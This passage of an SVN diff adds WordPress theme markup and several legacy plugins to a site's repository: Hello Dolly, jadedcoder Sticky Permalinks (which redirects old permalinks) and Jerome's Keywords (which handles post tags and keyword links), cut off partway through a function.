+		<td id="header" colspan="<?php echo $cols; ?>">
+		
+		<?php bfa_header_config($bfa_ata_configure_header); ?>
+
+		</td>
+		<!-- / Header -->
+
+	</tr>
+
+	<!-- Main Body -->	
+	<tr>
+
+		<?php if ( $left_col == "on" ) { ?>
+		<!-- Left Sidebar -->
+		<td id="left">
+
+			<?php // Widgetize the Left Sidebar 
+			if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar(1) ) : echo "To put some content here, go to Site Admin -> Appearance/Presentation -> Widgets -> Select \"Left Sidebar\" -> Click \"Show\" -> Click on \"Add\" on one of the widgets on the left side -> Click \"Save changes\" -> Done";
+			endif; ?>
+
+		</td>
+		<!-- / Left Sidebar -->
+		<?php } ?>
+
+
+		<!-- Main Column -->
+		<td id="middle">
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/hello.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/hello.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/hello.php	(revision 44)
@@ -0,0 +1,84 @@
+<?php
+/**
+ * @package Hello_Dolly
+ * @author Matt Mullenweg
+ * @version 1.5.1
+ */
+/*
+Plugin Name: Hello Dolly
+Plugin URI: http://wordpress.org/#
+Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
+Author: Matt Mullenweg
+Version: 1.5.1
+Author URI: http://ma.tt/
+*/
+
+function hello_dolly_get_lyric() {
+	/** These are the lyrics to Hello Dolly */
+	$lyrics = "Hello, Dolly
+Well, hello, Dolly
+It's so nice to have you back where you belong
+You're lookin' swell, Dolly
+I can tell, Dolly
+You're still glowin', you're still crowin'
+You're still goin' strong
+We feel the room swayin'
+While the band's playin'
+One of your old favourite songs from way back when
+So, take her wrap, fellas
+Find her an empty lap, fellas
+Dolly'll never go away again
+Hello, Dolly
+Well, hello, Dolly
+It's so nice to have you back where you belong
+You're lookin' swell, Dolly
+I can tell, Dolly
+You're still glowin', you're still crowin'
+You're still goin' strong
+We feel the room swayin'
+While the band's playin'
+One of your old favourite songs from way back when
+Golly, gee, fellas
+Find her a vacant knee, fellas
+Dolly'll never go away
+Dolly'll never go away
+Dolly'll never go away again";
+
+	// Here we split it into lines
+	$lyrics = explode("\n", $lyrics);
+
+	// And then randomly choose a line
+	return wptexturize( $lyrics[ mt_rand(0, count($lyrics) - 1) ] );
+}
+
+// This just echoes the chosen line, we'll position it later
+function hello_dolly() {
+	$chosen = hello_dolly_get_lyric();
+	echo "<p id='dolly'>$chosen</p>";
+}
+
+// Now we set that function up to execute when the admin_footer action is called
+add_action('admin_footer', 'hello_dolly');
+
+// We need some CSS to position the paragraph
+function dolly_css() {
+	// This makes sure that the posinioning is also good for right-to-left languages
+	$x = ( 'rtl' == get_bloginfo( 'text_direction' ) ) ? 'left' : 'right';
+
+	echo "
+	<style type='text/css'>
+	#dolly {
+		position: absolute;
+		top: 4.5em;
+		margin: 0;
+		padding: 0;
+		$x: 215px;
+		font-size: 11px;
+	}
+	</style>
+	";
+}
+
+add_action('admin_head', 'dolly_css');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/index.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/index.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/index.php	(revision 44)
@@ -0,0 +1,3 @@
+<?php
+// Silence is golden.
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/jadedcoder-sticky-permalinks/Jcsp.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/jadedcoder-sticky-permalinks/Jcsp.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/jadedcoder-sticky-permalinks/Jcsp.php	(revision 44)
@@ -0,0 +1,217 @@
+<?php
+define( 'JCSP_DB_VERSION', '0.1beta' );
+
+class Jcsp
+{
+    public function getPostArchiveTableName()
+    {
+       global $wpdb;
+       return $wpdb->prefix . 'jcsp_post_permalinks';
+    }
+
+    public function getCategoryArchiveTableName()
+    {
+       global $wpdb;
+       return $wpdb->prefix . 'jcsp_category_permalinks';
+    }
+
+    public function getPostPermalink( $postId )
+    {
+        $permalink = get_permalink( $postId );
+
+        //cut out the http://domain.com/
+        $permalink = explode( '/', $permalink );
+        array_shift( $permalink );
+        array_shift( $permalink );
+        array_shift( $permalink );
+        $permalink = implode( '/', $permalink );
+
+        if( substr( $permalink, -1 ) == '/' )
+        {
+            $permalink = substr( $permalink, 0, -1 );
+        }
+        
+        return $permalink;
+    }
+    
+    public function getCategoryPermalink( $categoryId )
+    {
+        global $wpdb;
+        $permalink = get_category_link( $categoryId );
+
+        //TODO: This is a little hack that gives a permalink as it will be AFTER the new category is saved, due to the fact that wordpress for some reason calls the edit_category action BEFORE the data is saved... If wp ever decides to change field names then this will break... But I doubt that
+        if( isset( $_POST[ 'category_nicename' ] ) )
+        {
+            $category = $wpdb->get_results( 'SELECT category_nicename FROM ' . $wpdb->categories . ' WHERE cat_ID = ' . $categoryId );
+            $permalink = str_replace( $category->category_nicename, $_POST[ 'category_nicename' ], $permalink );
+        }
+
+        //cut out the http://domain.com/
+        $permalink = explode( '/', $permalink );
+        array_shift( $permalink );
+        array_shift( $permalink );
+        array_shift( $permalink );
+        $permalink = implode( '/', $permalink );
+        
+        if( substr( $permalink, -1 ) == '/' )
+        {
+            $permalink = substr( $permalink, 0, -1 );
+        }
+
+        return $permalink;
+    }
+    
+    public function postUpdated( $postId )
+    {
+        global $wpdb;
+        $permalink = $this->getPostPermalink( $postId );
+        $exists = $wpdb->get_results( 'SELECT post_id FROM ' . $this->getPostArchiveTableName() . ' WHERE post_permalink = "' . $wpdb->escape( $permalink ) . '"' );
+        if( count( $exists ) > 0 )
+        {
+            $wpdb->query( 'UPDATE ' . $this->getPostArchiveTableName() . ' SET post_id = ' . $postId . ' WHERE post_permalink = "' . $wpdb->escape( $permalink ) . '"' );
+        }
+        else
+        {
+            $wpdb->query( 'INSERT INTO ' . $this->getPostArchiveTableName() . ' ( post_id, post_permalink ) VALUES ( ' . $postId . ', "' . $wpdb->escape( $permalink ) . '")' );
+        }
+    }
+    
+    public function categoryUpdated( $categoryId )
+    {
+        global $wpdb;
+        $posts = $wpdb->get_results( 'SELECT post_id FROM ' . $wpdb->post2cat . ' WHERE category_id = ' . $categoryId );
+        foreach( $posts as $post )
+        {
+            $this->postUpdated( $post->post_id );
+        }
+        $permalink = $this->getCategoryPermalink( $categoryId );
+        $exists = $wpdb->get_results( 'SELECT category_id FROM ' . $this->getCategoryArchiveTableName() . ' WHERE category_permalink = "' . $wpdb->escape( $permalink ) . '"' );
+        if( count( $exists ) > 0 )
+        {
+            $wpdb->query( 'UPDATE ' . $this->getCategoryArchiveTableName() . ' SET category_id = ' . $categoryId . ' WHERE category_permalink = "' . $wpdb->escape( $permalink ) . '"' );
+        }
+        else
+        {
+            $wpdb->query( 'INSERT INTO ' . $this->getCategoryArchiveTableName() . ' ( category_id, category_permalink ) VALUES ( ' . $categoryId . ', "' . $wpdb->escape( $permalink ) . '")' );
+        }
+    }
+
+    function ensureTables()
+    {
+        $this->ensurePostArchiveTable();
+        $this->ensureCategoryArchiveTable();
+    }
+    
+    function ensurePostArchiveTable()
+    {
+        global $wpdb;
+        $table_name = $this->getPostArchiveTableName();
+        if( $wpdb->get_var( 'show tables like "' . $table_name . '"' ) != $table_name )
+        {
+            $sql = 'CREATE TABLE ' . $table_name . ' (
+                    post_archive_id mediumint(9) NOT NULL AUTO_INCREMENT,
+                    post_id mediumint(9) NOT NULL,
+                    post_permalink VARCHAR(55) NOT NULL,
+                    UNIQUE KEY post_archive_id (post_archive_id)
+                    );';
+            require_once ABSPATH . 'wp-admin/upgrade-functions.php';
+            dbDelta($sql);
+            $this->initializePostArchiveTable();
+            add_option( 'JCSP_DB_VERSION', JCSP_DB_VERSION );
+        }
+    }
+    
+    function ensureCategoryArchiveTable()
+    {
+        global $wpdb;
+        $table_name = $this->getCategoryArchiveTableName();
+        if( $wpdb->get_var( 'show tables like "' . $table_name . '"' ) != $table_name )
+        {
+            $sql = 'CREATE TABLE ' . $table_name . ' (
+                    category_archive_id mediumint(9) NOT NULL AUTO_INCREMENT,
+                    category_id mediumint(9) NOT NULL,
+                    category_permalink VARCHAR(55) NOT NULL,
+                    UNIQUE KEY category_archive_id (category_archive_id)
+                    );';
+
+            require_once ABSPATH . 'wp-admin/upgrade-functions.php';
+            dbDelta( $sql );
+            $this->initializeCategoryArchiveTable();
+            add_option( 'JCSP_DB_VERSION', JCSP_DB_VERSION );
+        }
+    }
+    
+    function initializePostArchiveTable()
+    {
+        global $wpdb;
+        $posts = $wpdb->get_results( 'SELECT ID FROM ' . $wpdb->posts );
+        foreach( $posts as $post )
+        {
+            $permalink = $this->getPostPermalink( $post->ID );
+            $sql = 'INSERT INTO ' . $this->getPostArchiveTableName() . '
+                              ( post_id, post_permalink )
+                       VALUES ( ' . $post->ID . ', "' . $wpdb->escape( $permalink ) . '" )';
+            $wpdb->query( $sql );
+        }
+    }
+
+    function initializeCategoryArchiveTable()
+    {
+        global $wpdb;
+        $categories = $wpdb->get_results( 'SELECT cat_ID FROM ' . $wpdb->categories );
+        foreach( $categories as $category )
+        {
+            $permalink = $this->getCategoryPermalink( $category->cat_ID );
+            $sql = 'INSERT INTO ' . $this->getCategoryArchiveTableName() . '
+                              ( category_id, category_permalink )
+                       VALUES ( ' . $category->cat_ID . ', "' . $wpdb->escape( $permalink ) . '" )';
+            $wpdb->query( $sql );
+        }
+    }
+    
+    function tryRedirect()
+    {
+        global $wpdb;
+
+        $inLink = $_SERVER[ 'REQUEST_URI' ];
+        if( substr( $inLink, 0, 1 ) == '/' )
+        {
+            $inLink = substr( $inLink, 1 );
+        }
+        if( substr( $inLink, -1 ) == '/' )
+        {
+            $inLink = substr( $inLink, 0, -1 );
+        }
+        
+        //user is accessing the index page, we have to return or this will cause problems
+        if( $inLink == '' )
+        {
+            return;
+        }
+
+        //try a post redirect
+        $destination = $wpdb->get_results( 'SELECT post_id FROM ' . $this->getPostArchiveTableName() . ' WHERE post_permalink = "' . $wpdb->escape( $inLink ) . '"' );
+        if( count( $destination ) > 0 )
+        {
+            $permalink = $this->getPostPermalink( $destination[ 0 ]->post_id );
+            if( $permalink != $inLink )
+            {
+                wp_redirect( '/' . $permalink );
+                exit;
+            }
+        }
+
+        //try a category redirect
+        $destination = $wpdb->get_results( 'SELECT category_id FROM ' . $this->getCategoryArchiveTableName() . ' WHERE category_permalink = "' . $wpdb->escape( $inLink ) . '"' );
+        if( count( $destination ) > 0 )
+        {
+            $permalink = $this->getCategoryPermalink( $destination[ 0 ]->category_id );
+            if( $permalink != $inLink )
+            {
+                wp_redirect( '/' . $permalink );
+                exit;
+            }
+        }
+    }
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/jadedcoder-sticky-permalinks/jadedcoder-sticky-permalinks.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/jadedcoder-sticky-permalinks/jadedcoder-sticky-permalinks.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/jadedcoder-sticky-permalinks/jadedcoder-sticky-permalinks.php	(revision 44)
@@ -0,0 +1,35 @@
+<?php
+/*
+Copyright 2007 Matthew Horner (email: jcsp@jadedcoder.com)
+
+This program is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation; either version 2 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program; if not, write to the Free Software
+Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+
+Plugin Name: jadedcoder Sticky Permalinks
+Plugin URI: http://jadedcoder.com/wordpress-plugin-jadedcoder-sticky-permalinks/
+Description: Keeps a history of your permalinks no matter what changes you make on your site, and redirects old links to the new ones.
+Version: 0.1beta
+Author: MatthewHorner
+Author URI: http://jadedcoder.com/
+*/
+
+require_once dirname( __FILE__ ) . '/Jcsp.php';
+
+$jcsp = new Jcsp();
+
+add_action( 'activate_jadedcoder-sticky-permalinks/jadedcoder-sticky-permalinks.php', array( &$jcsp, 'ensureTables' ) );
+add_action( 'edit_category', array( &$jcsp, 'categoryUpdated' ) );
+add_action( 'edit_post',     array( &$jcsp, 'postUpdated' ) );
+add_action( 'init', array( &$jcsp, 'tryRedirect' ) );
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/jadedcoder-sticky-permalinks/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/jadedcoder-sticky-permalinks/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/jadedcoder-sticky-permalinks/readme.txt	(revision 44)
@@ -0,0 +1,34 @@
+=== jadedcoder Sticky Permalinks ===
+Contributors: MatthewHorner
+Donate link: http://jadedcoder.com/
+Tags: permalink, link, archive, google, digg, admin
+Requires at least: 2.0.0
+Tested up to: 2.2
+Stable tag: 0.1beta
+
+Keeps a history of your permalinks no matter what changes you make on your site, and redirects old links to the new ones.
+
+== Description ==
+
+Every time you modify a post slug, add a new post, rename a category, or otherwise modify any of your post and page permalinks, jadedcoder Sticky Permalinks (jcsp) will keep a copy of the original permalink along with the post or page it originally led to. If anyone tries to access the old URL, they will be redirected right to the new one, no matter how many times you've changed it.
+
+If you re-use a URL that has already been used in the past, its copy will be replaced and it will safely link to the new article instead.
+
+Don't throw away valuable URLs! This plugin lets you re-organize your site as many times as you want, without risking traffic loss.
+
+== Installation ==
+
+1. Unzip the archive in the `/wp-content/plugins/` directory.
+2. Activate the plugin through the `Plugins` menu in WordPress.
+3. ???
+4. Profit!
+
+== Frequently Asked Questions ==
+
+= What about all my existing articles? =
+
+When you activate jcsp, it will scan and archive all of your existing permalinks. Your links are all protected the second you activate it.
+
+== Changelog ==
+
+* 0.1beta; Initial version.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/jeromes-keywords.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/jeromes-keywords.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/jeromes-keywords.php	(revision 44)
@@ -0,0 +1,724 @@
+<?php
+/*
+Plugin Name: Jerome's Keywords
+Plugin URI: http://vapourtrails.ca/wp-keywords
+Version: 1.9
+Description: Allows keywords to be associated with each post.  These keywords can be used for page meta tags, included in posts for site searching or linked like Technorati tags.
+Author: Jerome Lavigne
+Author URI: http://vapourtrails.ca
+*/
+
+/*	Copyright 2005  Jerome Lavigne  (email : darkcanuck@vapourtrails.ca)
+	
+	This program is free software; you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation; either version 2 of the License, or
+	(at your option) any later version.
+	
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+	
+	You should have received a copy of the GNU General Public License
+	along with this program; if not, write to the Free Software
+	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+*/
+
+/* Credits:
+	Special thanks also to Dave Metzener, Mark Eckenrode, Dan Taarin, N. Godbout, "theanomaly", "oso", Wayne @ AcmeTech, Will Luke,
+	Gyu-In Lee, Denis de Bernardy and the many others who have provided feedback, spotted bugs, and suggested improvements.
+    WP2.0 compatibility fixes suggested by Horst Gutmann.
+*/
+
+/* ChangeLog:
+
+29-Dec-2005:  Version 1.9
+        - Added support for WordPress 2.0 (which unnecessarily broke things)
+
+23-Jun-2005:  Version 1.8
+		- Fixed bug in get_the_post_keytag() that did not return a valid category link.
+
+20-Jun-2005:  Version 1.7
+		- Fixed uksort bug that appeared on the edit page when there are no keywords in the database.
+		- Fixed divide-by-zero error in all_keywords() scaling routine.
+		- Local keyword search now includes pages
+		- Added ability to create flickr- and del.icio.us-safe keyword links for use in cosmos/top-X keywords lists.
+
+9-May-2005:  Version 1.6
+		- Tag cosmos now uses a natural case-insensitive sort.
+		- Added a very simple keyword suggestion feature when editing posts (suggestions refresh after every save)
+
+16-Apr-2005:  Version 1.5
+		- Added functions all_keywords() and get_all_keywords() for creating a "tag cosmos".
+		- Added functions top_keywords() and get_top_keywords() to return a "Top X Tags" list.
+		- Fixed slashes bug in get_the_search_keytag().
+		- Fixed get_the_keywords() routine:
+			- no longer lists duplicate keywords
+			- only relevant categories are output, except on the home page where all are shown (can be overridden with parameters)
+		- Added filter for adding keywords to pages.
+		- Added fix for conflicting JOINs on wp_postmeta (or how to make friends with other plugins) and removed mini-posts "fix"
+
+13-Mar-2005:  Version 1.4
+		- Added ability to automatically generate .htaccess rewrite rules for keyword searches.
+			- Can be turned off with new KEYWORDS_REWRITERULES flag.
+			- Necessary for sites that use /index.php/*%blah% style permalinks
+			- Thanks to Dave Metzener for finding the original bug and beta testing the fix.
+		- Added formatting parameters to the_keywords() and get_the_keywords() to allow more control over the output.
+		- Fixed XHTML validation bug:  added a space prior to title attribute in keyword links.
+		- Fixed keyword link encoding for links that include '/' (now left as-is rather than encoded)
+		- Temporary fix to prevent conflicts with mini-posts plugin:  removes mini-post's filters when a tag search is performed.
+
+1-Mar-2005:  Version 1.3
+		- Added ability to do site keyword searches.  This now the default keyword link behaviour.
+		- Keyword search can also use its own template file.
+		- If including categories, local links will return that category (not the keyword search).
+		- Added filter for Atom feed content if not sending rss summaries only.
+
+27-Feb-2005:  Version 1.2
+		- Fixed search URL for sites not using permalinks (this is automatically detected)
+		- If not using permalinks then the Atom feed will contain Technorati links instead of local search link (local search can't be parsed by Technorati)
+
+26-Feb-2005:  Version 1.1
+		- added ability to suppress link title if value passed is an empty string (used for Atom feed)
+		- updated keywords_appendtags() to suppress link title.
+
+25-Feb-2005:  Version 1.0 publicly released
+
+*/
+
+/* *****INSTRUCTIONS*****
+
+Entering Keywords - simply type all of your keywords into the keywords field when creating/editing posts.  Keywords
+				should be separated by commas and can include spaces (key phrases).
+
+Template Tags - you can use the following php template tags to insert the keywords into your template
+
+	the_keywords() - can be used outside the loop
+			Outputs a comma-separated list of all categories & keywords on the current page.  You can use this
+			to add a keyword meta tag to your page's title block:
+				<meta name="keywords" content="<?php the_keywords(); ?>" />
+
+			This function can take three optional parameters:
+				before (default = blank) - text/html to insert before each keyword
+				after (default = blank) - text/html to insert after each keyword
+				separator (default = ",") - text/html to insert between keywords
+			get_the_keywords() is a non-echoing version
+
+	the_post_keywords() - must be used inside the loop
+			Outputs a comma-separated list of the keywords for the current post.  This function can take one optional parameters:
+				include_cats (default=false) - if true, post categories are included in the list.
+			get_the_post_keywords() is a non-echoing version.
+
+	the_post_keytags() - must be used inside the loop
+			Outputs the keywords for the current post as a series of links.  By default these link a query for other posts with matching
+			keywords (can also link to the WordPress search function or to Technorati's page for that tag)
+			This function can take three optional parameters:
+				include_cats (default=false) - if true, post categories are included in the list.
+				local_search (default="tag") - if false or "technorati", the links will be to Technorati's tag page for the keyword instead,
+										if "search", the links will be to the local Wordpress search function.
+				link_title (default="") - alternate link title text to use, e.g. "My link title for" (tag name will be added at the end)
+				
+			An example from my site:
+				<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
+				 [...]
+				<div class="post">
+					 [...]
+					<div class="subtags">
+			>>>			Tags: <?php the_post_keytags(); ?>
+					</div>
+					 [...]
+				<?php endwhile; else: ?>
+			
+			get_the_post_keytags() is a non-echoing version.
+
+	is_keyword() - can be used outside the loop
+			Returns true if the current view is a keyword/tag search
+
+	the_search_keytag() - can be used outside the loop
+			Outputs the keyword/tag used for the search
+			get_the_search_keytag() is a non-echoing version
+
+
+Rewrite Rules - The plugin can generate new tag search rewrite rules automatically.  You need to 
+			re-save your permalinks settings (Options -> Permalinks) for this to occur.
+			If your .htaccess file cannot be written to by WordPress, add the following to your 
+			.htaccess file to use the tag search feature, preferably below the "# END WordPress" line:
+
+RewriteRule ^tag/(.+)/feed/(feed|rdf|rss|rss2|atom)/?$ /index.php?tag=$1&feed=$2 [QSA,L]
+RewriteRule ^tag/(.+)/(feed|rdf|rss|rss2|atom)/?$ /index.php?tag=$1&feed=$2 [QSA,L]
+RewriteRule ^tag/(.+)/page/?([0-9]{1,})/?$ /index.php?tag=$1&paged=$2 [QSA,L]
+RewriteRule ^tag/(.+)/?$ /index.php?tag=$1 [QSA,L]
+
+*/
+
+
+/* You can change these constants if you wish for further customization*/
+define('KEYWORDS_META', 'keywords');							// post meta key used in the wp database
+define('KEYWORDS_TECHNORATI', 'http://technorati.com/tag');		// Technorati link to use if local search is false
+define('KEYWORDS_ATOMTAGSON', '1');								// flag to add tags to Atom feed (required for Technorati)
+define('KEYWORDS_QUERYVAR', 'tag');								// get/post variable name for querying tag/keyword from WP
+define('KEYWORDS_TAGURL', 'tag');								// URL to use when querying tags
+define('KEYWORDS_TEMPLATE', 'keywords.php');					// template file to use for displaying tag queries
+define('KEYWORDS_SEARCHURL', 'search');							// local search URL (from mod_rewrite rules)
+define('KEYWORDS_REWRITERULES', '1');							// flag to determine if plugin can change WP rewrite rules
+define('KEYWORDS_SUGGESTED', '8');								// maximum number of keywords suggested
+
+/* WP 2.0 doesn't initialize the rewrite object before plugins are loaded anymore
+    so these constants are set later
+*/
+function keywords_init() {
+    global $wp_rewrite;
+    
+    /* Shouldn't need to change this - can set to 0 if you want to force permalinks off */
+    if (isset($wp_rewrite) && $wp_rewrite->using_permalinks()) {
+        define('KEYWORDS_REWRITEON', '1');							// nice permalinks, yes please!
+        define('KEYWORDS_LINKBASE', $wp_rewrite->root);				// set to "index.php/" if using that style
+    } else {
+        define('KEYWORDS_REWRITEON', '0');							// old school links
+        define('KEYWORDS_LINKBASE', '');							// don't need this
+    }
+    
+    /* generate rewrite rules for above queries */
+    if (KEYWORDS_REWRITEON && KEYWORDS_REWRITERULES)
+        add_filter('search_rewrite_rules', 'keywords_createRewriteRules');
+}
+add_action('init','keywords_init');
+
+/* use in the loop*/
+function get_the_post_keywords($include_cats=true) {
+	$keywords = '';
+
+	if ($include_cats) {
+		$categories = get_the_category();
+		foreach($categories as $category) {
+			if (!empty($keywords))
+				$keywords .= ",";
+			$keywords .= $category->cat_name;
+		}
+	}	
+
+	$post_keywords = get_post_custom_values(KEYWORDS_META);
+	if (is_array($post_keywords)) {
+		foreach($post_keywords as $post_keys) {
+			if (!empty($post_keys))
+				$keywords .= ",";
+			$keywords .= $post_keys;
+		}
+	}
+	return( $keywords );
+}
+
+/* use in the loop*/
+function the_post_keywords($include_cats=true) {
+	echo get_the_post_keywords($include_cats);
+}
+
+/* use in the loop*/
+function get_the_post_keytags($include_cats=false, $localsearch="tag", $linktitle=false) {
+	// determine link mode
+	$linkmode = strtolower(trim($localsearch));
+	switch ($linkmode) {
+		case '':
+		case 'technorati':
+			$linkmode = 'technorati';
+			break;
+		case 'search':
+			$linkmode = 'search';
+			break;
+		//case 'tag':
+		//case 'keyword':
+		default:
+			$linkmode = 'tag';
+			break;
+	}
+
+	$output = "";
+	if ($linktitle === false)
+		$linktitle = ($linkmode == 'technorati') ? "Technorati tag page for" : "Search site for";
+	
+	// do categories separately to get category links instead of tag links
+	if ($include_cats) {
+		$categories = get_the_category();
+		foreach($categories as $category) {
+			$keyword = $category->cat_name;
+			if ($linkmode == 'technorati')
+				$taglink = KEYWORDS_TECHNORATI . "/" . jkeywords_localLink($keyword);
+			else
+				$taglink = get_category_link($category->cat_ID);
+			$tagtitle = empty($linktitle) ? "" : " title=\"$linktitle $keyword\"";
+			
+			if (!empty($output))
+				$output .= ", ";
+			$output .= "<a href=\"$taglink\" rel=\"tag\"$tagtitle>$keyword</a>";
+		}
+	}	
+	
+	$post_keywords = get_post_custom_values(KEYWORDS_META);
+	if (is_array($post_keywords)) {
+		$keywordlist = array();
+		foreach($post_keywords as $post_keys)
+			$keywordlist = array_merge($keywordlist, explode(",", $post_keys));
+		
+		foreach($keywordlist as $keyword) {
+			$keyword = trim($keyword);
+			if (!empty($keyword)) {
+				switch ($linkmode) {
+					case 'tag':
+						if (KEYWORDS_REWRITEON)
+							$taglink = get_settings('home') . '/' . KEYWORDS_LINKBASE . KEYWORDS_TAGURL . 
+										'/' . jkeywords_localLink($keyword);
+						else
+							$taglink = get_settings('home') . "/?" . KEYWORDS_TAGURL .  "=" . urlencode($keyword);
+						break;
+					case 'technorati':
+						$taglink = KEYWORDS_TECHNORATI . "/" . jkeywords_localLink($keyword);
+						break;
+					case 'search':
+						if (KEYWORDS_REWRITEON)
+							$taglink = get_settings('home') . '/' . KEYWORDS_LINKBASE . KEYWORDS_SEARCHURL . 
+										'/' . jkeywords_localLink($keyword);
+						else
+							$taglink = get_settings('home') . '/?s=' . urlencode($keyword) . '&submit=Search';
+						break;
+				}
+				$tagtitle = empty($linktitle) ? "" : " title=\"$linktitle $keyword\"";
+				
+				if (!empty($output))
+					$output .= ", ";
+				$output .= "<a href=\"$taglink\" rel=\"tag\"$tagtitle>$keyword</a>";
+			}
+		}
+	}
+	return($output);
+}
+
+/* use in the loop*/
+function the_post_keytags($include_cats=false, $localsearch=true, $linktitle=false) {
+	$taglist = get_the_post_keytags($include_cats, $localsearch, $linktitle);
+	
+	if (empty($taglist))
+		echo "none";
+	else
+		echo $taglist;
+}
+
+/* works outside the loop*/
+function get_the_keywords($before='', $after='', $separator=',', $include_cats='default') {
+	global $cache_categories, $category_cache, $post_meta_cache;
+	
+	$keywords = "";
+	
+	if ($include_cats) {
+		if ( isset($cache_categories) && ( ($include_cats == 'all') ||
+		                                  (($include_cats == 'default') && is_home()) ) ) {
+			foreach($cache_categories as $category)
+				$keywordarray[$category->cat_name] += 1;
+		} elseif (isset($category_cache)) {
+			foreach($category_cache as $post_category) {
+				foreach($post_category as $category)
+					$keywordarray[$category->cat_name] += 1;
+			}
+		}
+	}
+	
+	if (isset($post_meta_cache)) {
+		foreach($post_meta_cache as $post_meta) {
+			if (is_array($post_meta[KEYWORDS_META])) {
+				foreach($post_meta[KEYWORDS_META] as $post_keys) {
+					$keywordlist = explode(",", $post_keys);
+					foreach($keywordlist as $keyvalue)
+						if (!empty($keyvalue))
+							$keywordarray[$keyvalue] += 1;
+				}
+			}
+		}
+	}
+
+	if (is_array($keywordarray)) {
+		foreach($keywordarray as $key => $count) {
+			if (!empty($keywords))
+				$keywords .= $separator;
+			$keywords .= $before . $key . $after;
+		}
+	}
+	
+	return ($keywords);
+}
+
+/* works outside the loop */
+function the_keywords($before='', $after='', $separator=',') {
+	echo get_the_keywords($before, $after, $separator);
+}
+
+function is_keyword() {
+    global $wp_version;
+    $keyword = ( isset($wp_version) && ($wp_version >= 2.0) ) ? 
+                get_query_var(KEYWORDS_QUERYVAR) : 
+                $GLOBALS[KEYWORDS_QUERYVAR];
+	if (!is_null($keyword) && ($keyword != ''))
+		return true;
+	else
+		return false;
+}
+
+function get_the_search_keytag() {
+    $keyword = ( isset($wp_version) && ($wp_version >= 2.0) ) ? 
+                get_query_var(KEYWORDS_QUERYVAR) : 
+                $GLOBALS[KEYWORDS_QUERYVAR];
+	$searchtag = stripslashes($keyword);
+	return(get_magic_quotes_gpc() ? stripslashes($searchtag) : $searchtag);
+}
+
+function the_search_keytag() {
+	echo get_the_search_keytag();
+}
+
+
+/***** Tag cosmos functions *****/
+function get_all_keywords($include_cats = false) {
+	global $wpdb, $cache_categories;
+	
+	if ($include_cats && isset($cache_categories)) {
+		$catkeys = $wpdb->get_results("SELECT p2c.category_id AS cat_id, COUNT(p2c.rel_id) AS cat_count
+										FROM  $wpdb->post2cat p2c, $wpdb->posts posts
+										WHERE posts.ID = p2c.post_id
+										  AND posts.post_status IN('publish', 'static')
+										GROUP BY p2c.category_id");
+		if (is_array($catkeys)) {
+			foreach($catkeys as $category)
+				$keywordarray[ $cache_categories[$category->cat_id]->cat_name . 
+								'::Category::' . $category->cat_id ] += $category->cat_count;
+		}
+	}
+
+	$metakeys = $wpdb->get_results("SELECT meta.meta_id, meta.meta_value
+									FROM  $wpdb->posts posts, $wpdb->postmeta meta
+									WHERE posts.ID = meta.post_id
+									  AND posts.post_status IN('publish', 'static')
+									  AND meta.meta_key = '" . KEYWORDS_META . "'");
+	if (is_array($metakeys)) {
+		foreach($metakeys as $post_meta) {
+			if (!empty($post_meta->meta_value)) {
+				$post_keys = explode(',', $post_meta->meta_value);
+				
+				foreach($post_keys as $keyword) {
+					$keyword = trim($keyword);
+					if (!empty($keyword))
+						$keywordarray[ $keyword ] += 1;
+				}
+			}
+		}
+	}
+    
+    if(is_array($keywordarray))
+        uksort($keywordarray, 'strnatcasecmp');
+	
+	return($keywordarray);
+}
+
+function jkeywords_localLink($keyword) {
+    return str_replace('%2F', '/', urlencode($keyword));
+}
+
+function jkeywords_flickrLink($keyword) {
+    return urlencode(preg_replace('/[^a-zA-Z0-9]/', '', strtolower($keyword)));
+}
+
+function jkeywords_deliciousLink($keyword) {
+    $del = preg_replace('/\s/', '', $keyword);
+    if (strstr($del, '+'))
+        $del = '"' . $del . '"';
+    return str_replace('%2F', '/', rawurlencode($del));
+}
+
+function all_keywords($element = '<li class="cosmos keyword%count%"><a href="/tag/%keylink%">%keyword%</a></li>',
+                      $element_cat = '', $min_scale = 1, $max_scale = false, $min_include = 0) {
+	
+	$include_cats = !empty($element_cat);
+	
+	$allkeys = get_all_keywords($include_cats);
+	
+	$keywords = '';
+	if (is_array($allkeys)) {
+		
+		// scaling
+		if ($max_scale !== false) {
